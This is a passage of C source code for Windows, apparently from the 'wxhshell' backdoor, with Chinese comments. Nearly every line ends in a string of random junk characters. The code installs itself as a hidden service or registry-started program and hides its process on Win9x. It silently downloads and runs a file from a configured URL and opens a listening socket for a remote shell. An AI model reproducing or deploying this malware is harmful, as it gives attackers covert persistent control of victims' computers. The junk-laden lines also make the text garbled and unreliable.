ULONG UniqueProcessId; mc\"yC^s
ULONG InheritedFromUniqueProcessId; B^^#D0<
} PROCESS_BASIC_INFORMATION; }-=|^
Uz]|N6`
PROCNTQSIP NtQueryInformationProcess; YNi.SXH
5$C-9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T9[Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Btcy)LRk
A~70
HANDLE hProcess; $qj2w"'
PROCESS_BASIC_INFORMATION pbi; I
b5rqU\
E~"y$Fqe
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o?\?@H
if(NULL == hInst ) return 0; /%io+94
6T`i/".
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fI|Nc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4'=y:v2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z4ImV~m
f) L
if (!NtQueryInformationProcess) return 0; f4|rVP|x
qUb&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t"oeQ*d%
if(!hProcess) return 0;
92oFlEJ
&{t,' [ u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M9%$lCl
ncT&Gr
CloseHandle(hProcess); '6%2.[o
`e}B2;$A3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K]w'&Qm8W
if(hProcess==NULL) return 0; "3Y0`&:D
ey$&;1x#5
HMODULE hMod; ab?aQ*$+
char procName[255]; z<' u1l3
unsigned long cbNeeded; o?Oc7$+u
7HYwLG:\~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @f3E`8
+v:SM9
CloseHandle(hProcess); { 2f-8Z&>
R.<g3"Lm>
if(strstr(procName,"services")) return 1; // 以服务启动 {E|$8)58i
(TT}6j
return 0; // 注册表启动 \ @2R9,9E
} +ami?#Sz*;
"E4a=YH_
// 主模块 [ub e6
int StartWxhshell(LPSTR lpCmdLine) KF:78C
{ \Yr Ue1
SOCKET wsl; ,r_Gf5c
BOOL val=TRUE; )zDCu`
int port=0; 4;2uW#dG"
struct sockaddr_in door; X|]AT9W
>Cq<@$I2EB
if(wscfg.ws_autoins) Install(); mj7#&r,1l
1T
n}
port=atoi(lpCmdLine); ?(_08O
gL/9/b4
if(port<=0) port=wscfg.ws_port; `C'H.g\>2Q
#&e-|81H
WSADATA data; *MW\^PR?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >uEzw4w
&s>Jb?_5Mx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h^P#{W!e\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Hr`MB
door.sin_family = AF_INET; YKK*ER0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); XfIJ4ZM5
door.sin_port = htons(port); Ar#(psU
B/Ws_Kv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { deh*Ib:(S
closesocket(wsl); BDQsP$'6QT
return 1; /Z}}(6T
} +D*Z_Yh6
>9Vn.S
if(listen(wsl,2) == INVALID_SOCKET) { }4X0epPp;:
closesocket(wsl); ]7c=PC
return 1; R`-S/C
} MVUJD{X#
Wxhshell(wsl); <b*DQ:N
WSACleanup(); TIg3`Fon
{R{=+2K!|k
return 0; _Y m2/3!
v4 E}D
} j3ls3H&
0jWVp-y
// 以NT服务方式启动 Bk{]g=DO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vtJJ#8a]
{ SUK?z!f<i
DWORD status = 0; lPAQ3t!,
DWORD specificError = 0xfffffff; SSzIih@u
E2+`4g@{8<
serviceStatus.dwServiceType = SERVICE_WIN32; %mgE;~"&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %iqD5x$OA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q22 GIr
serviceStatus.dwWin32ExitCode = 0; +&H4m=D-#a
serviceStatus.dwServiceSpecificExitCode = 0; E' uZA
serviceStatus.dwCheckPoint = 0; ` 5>b:3
serviceStatus.dwWaitHint = 0; +jgSV.N
hOK8(U0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~Lt\K:
if (hServiceStatusHandle==0) return; ]T) 'Hb
_DEjF)S
status = GetLastError(); z` b,h\
if (status!=NO_ERROR) 7F.4Ga;
{ .*Qx\,
serviceStatus.dwCurrentState = SERVICE_STOPPED; >^{yF~(
serviceStatus.dwCheckPoint = 0; j_j]"ew)
serviceStatus.dwWaitHint = 0; j B{8u&kz)
serviceStatus.dwWin32ExitCode = status; >=w)x,0yX
serviceStatus.dwServiceSpecificExitCode = specificError; 2MK-5Kg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dlnX_+((KC
return; ^xk'Z
} K)iF>y|{*q
WTiD[u
serviceStatus.dwCurrentState = SERVICE_RUNNING; llDkJ)\
serviceStatus.dwCheckPoint = 0; jSaU?ac
serviceStatus.dwWaitHint = 0; ;qV>L=a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iK;XZZ(
} w&.aQGR#
Gav$HLx
// 处理NT服务事件,比如:启动、停止 h;'~,xA
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0b 54fD=
{ #T"4RrR
switch(fdwControl) :Llb< MY2
{ 3PF_H$`oJ
case SERVICE_CONTROL_STOP: V|R,!UND
serviceStatus.dwWin32ExitCode = 0; (^>J&[=
serviceStatus.dwCurrentState = SERVICE_STOPPED; B`sAk
%
serviceStatus.dwCheckPoint = 0; ?gXp*>Kg[
serviceStatus.dwWaitHint = 0; a,o*=r
{ pTuS*MYz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QTnP'5y
} ksm~<;td
return; ,`sv1xwd
case SERVICE_CONTROL_PAUSE: I(
Mm?9F
serviceStatus.dwCurrentState = SERVICE_PAUSED; K@%].:
break; zKK9r~ M
case SERVICE_CONTROL_CONTINUE: HK%7g
serviceStatus.dwCurrentState = SERVICE_RUNNING; Pc]HP
break; y<.5xq5_3
case SERVICE_CONTROL_INTERROGATE: ez[Vm:2K
break; l}P=/#</T
}; u$`a7Lp,n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); lk =<A"^S
} !PE]C!*gv&
1AFA=t:]p
// 标准应用程序主函数 wdoR%b{M
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dgP3@`YS
{ #p{4^
uEx-]F
// 获取操作系统版本 YchH~m|
OsIsNt=GetOsVer(); _','9|
GetModuleFileName(NULL,ExeFile,MAX_PATH); {\\Tgs
U%/+B]6jP
// 从命令行安装 '0,^6'VWOV
if(strpbrk(lpCmdLine,"iI")) Install(); 2+WaA,
H6gSO(U
// 下载执行文件 &,)&%Sg[
if(wscfg.ws_downexe) { A/?7w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c4z R*
WinExec(wscfg.ws_filenam,SW_HIDE); 3r1*m
+
} 51.%;aY~z
fd9k?,zM
if(!OsIsNt) { $NO&YLS@
// 如果时win9x,隐藏进程并且设置为注册表启动 [KQ6Ta.
HideProc(); rW#T
vUn
StartWxhshell(lpCmdLine); lr$zHI7_`
} N)Z?Z+}h
else >C~6\L`c
if(StartFromService()) 8JUwf
// 以服务方式启动 4`=mu}Y2
StartServiceCtrlDispatcher(DispatchTable); {7pli{`
else {Hk}Kow
// 普通方式启动 <\S:'g"(
StartWxhshell(lpCmdLine);
W!(LF7_!
"^iYLQOC
return 0; &Hnz8Or!
}